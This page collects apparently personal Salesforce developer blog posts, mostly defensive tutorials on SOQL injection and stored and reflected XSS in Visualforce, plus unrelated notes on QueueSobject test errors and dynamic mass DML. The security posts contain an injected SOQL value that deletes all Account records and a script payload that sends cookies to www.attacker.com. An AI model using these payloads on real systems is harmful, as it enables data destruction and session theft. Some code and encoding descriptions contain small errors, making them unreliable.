Salesforce applications with security: SOQL Injection

Hi,

I am again here to share something with you that may be you know, but still I would like to rate myself :).
So please be ready for my one more boring(don't think so) topic "Salesforce applications with security: SOQL Injection".

This time SOQL injection. So SOQL is a type of vaccine for human body, injects when you really feels weak(Sorry :), No more joke).

 It's  a code injection technique that exploits a Security vulnerability.
Let me be more specific, Suppose you have a search form and instead of typing a valid search parameter, User types something invalid text  and that can make your SOQL query invalid and expose the unexpected result.
This situation occurs when user input is not filtered for escape characters.
 let's have a pictorial look :

It's a SQL example , but describe the SOQL injection as well in a good manner.
So here you can see that. In the User id field once user puts a invalid parameter and goes to the controller and form a query that  results in a invalid login.

The worst scenario could be if resultant data from a query supposed to be deleted.
 let's have one more quick example for this :

I have a case where I want to delete the Account based on name entered in the input name field on page.
Implementation can be like this :

List<Account> listAccount = Database.query('Select id from Account where Name = \'' + nameField + '\' ');

delete listAccount;

It works great with a valid value.
 Now it can be worst if value of nameField is provided like :

nameField = \' OR Id != null OR Type != \'


So once the action will be performed, this will be bind-up with the query and resultant query will be like this :
 

List<Account> listAccount = Database.query('Select id from Account where Name = \'\'\' OR ID != null OR Type != \'\' ');

delete  listAccount;

So hopefully , you can see the monster  here. It will delete the entire database for account records.

Salesforce provides escape functions to get rid from SOQL injection.
Solution can be one of the followings:

1. Try to use STATIC queries as much as possible. STATIC query has inbuilt escaping.
2. If dynamic query is needed , then all the search parameters should use escapeSingleQuotes() function.like
   List<Account> listAccount = Database.query('Select id from Account where Name = \'' + String.escapeSingleQuotes(nameField) + '\' ');

String.escapeSingleQuotes method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands. 

I hope, this post helps you to get a basic understanding of SOQL injection.

Now I am going to finish this, as If I didn't you guys will gone sleep.
So topic ends, party time ....................

Will be back very soon with something new :).


 

Salesforce applications with security : Stored XSS

Continuing to my previous post , this time I would to share the knowledge on Stored XSS part.
So Stored XSS is cross site scripting where a attacker can inject his code on to the server pages permanently and these scripts run whenever some action made on the page.

In other words :
"Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information."

Let's have an example:
<apex:page>

<script>

function crossXSS()

{

var xssExample = '{!Account.Name}' ;

}

</script>

<apex:form>

<apex:commandLink value="Click me" onClick="crossXSS();" />

</apex:form>

</apex:page>

Now suppose
Account Name is :  testName';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';

So this account name will always be on the page in script block and whenever the commandLink will be clicked "crossXSS" will be called and will be in the following manner:
var xssExample = 'testName';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';

So again you can see here all the cookies will be sent to the attackers.com site.

What I suggested in previous blog , repeating all those things again :).

To prevent from this , salesforce provides some encoding function for the those are available on Visualforce page like :etc.
JSENCODE, HTMLENCODE, JSINHTNLENCODE, URLENCODE etc.

So the code explained above can be  updated as :
var xssExample = '{!JSENCODE(Account.Name})' ;

So the value fetching from the request parameter will be encoded now.
JSENCODE : To encode the properties in javascript.
HTMLENCODE: To encode the properties in javascript.
JSINHTNLENCODE: If calling a javascript method from HTML component and passing the properties.
URLENCODE:  If building a URL on page.

Please feel free to ask the questions/doubts. Suggestions are appreciated.

Queue not associated with this SObject type

Recently I experienced with a new exception , while I was creating a test class for one of mine functionality.
I looked for the solution on community and other places but couldn't find helpful.So I continued myself .

here is the case what I was looking for:
Create a lead whose owner should be a queue.

I started with this :
Group grp = new Group(Name='Queue',Type='Queue');
insert grp;
          
Lead lead = new Lead(LastName = 'testLastName',company='test', OwnerId = grp.Id);
insert lead;

but when I was running the class, result was with the exception :
System.DmlException: Insert failed. First exception on row 0; first error: INVALID_OPERATION, Queue not associated with this SObject type: []

Here is the solution to shoot this error:

There  is an object named "QueueSobject".
Represents the mapping between a queue Group and the sObject types associated with the queue, including custom objects.

So whenever you want to have a group as an owner for a record , QueueSObject should be there to mapped that record with Group.

like:

Group grp = new Group(Name='Queue',Type='Queue');
insert grp;

QueueSobject mappingObject = new QueueSobject(QueueId = grp.Id, SobjectType = 'Lead');
System.runAs(new User(Id = UserInfo.getUserId()))
{insert mappingObject;}
          
Lead lead = new Lead(LastName = 'testLastName',company='test', OwnerId = grp.Id);
insert lead;

So try this whenever you are in same kind of trouble.

Queries/comments are invited.

Dynamic Mass DML Functionalities

A very interesting thing is that Salesforce provides the existing classes for performing Mass DML functionalities i.e. Mass Edit, Mass Delete, Mass Update etc. with the concrete SObject . That means you should be able to type cast your Sobaject in to Concrete SObject and then you can perform the Mass DML operations on the result.
We suggest you to instead of doing SObject hard coded you can implement the whole functionality dynamically.
Choose you Object and then choose for filter criteria for searching and then perform the various operation on searched results.Through the salesforce metadata api you can describe the selected SObject and get all the related fields.
your selected criteria then pass to the controller and searched result will be displayed on the UI.
Provide a select all check box and then pass the selected records to the controller and then controller will find out the object name through the key prefix of selcted records ids. and then you can use DML operations to perform any type of action on records.

Queries are invited.

Salesforce applications with security : Reflected XSS

XSS is also known as cross site scripting.  XSS allows a attackers to inject his code in client script.This is a web application vulnerabilities which allows a attackers to bypass the sharing rules . By doing this he can expose the sensitive data, session cookies etc. also.

Now coming back to the reflected XSS, it impacts the page while page is getting load. Suppose I have a block of script and I want to execute a script on page load. This is known as Reflected XSS.

Let's have a close look:
Here is a page , in the script block we are fetching an Id Parameter
<apex:page>

<script>

var xssExample = '{!$CurrentPage.Parameters.id}' ;

</script>

</apex:page>

Now have a deep look:
Page is called as :
/apex/TestPage?id=idvalue';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';

So when the page will be loaded it will be executed in following manner:
 var xssExample = '{!$CurrentPage.Parameters.id}' ;
putting the id value from the request parameter :
var xssExample = 'idvalue';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';

So here you can see that all the cookies will be sent to the attackers.com site.

To prevent from this , salesforce provides some encoding function for the those are available on Visualforce page like :etc.
JSENCODE, HTMLENCODE, JSINHTNLENCODE, URLENCODE etc.

So the code explained above can be  updated as :
var xssExample = '{!JSENCODE($CurrentPage.Parameters.id})' ;

So the value fetching from the request parameter will be encoded now.
JSENCODE : To encode the properties in javascript.
HTMLENCODE: To encode the properties in javascript.
JSINHTNLENCODE: If calling a javascript method from HTML component and passing the properties.
URLENCODE:  If building a URL on page.

Please feel free to ask the questions/doubts. Suggestions are appreciated.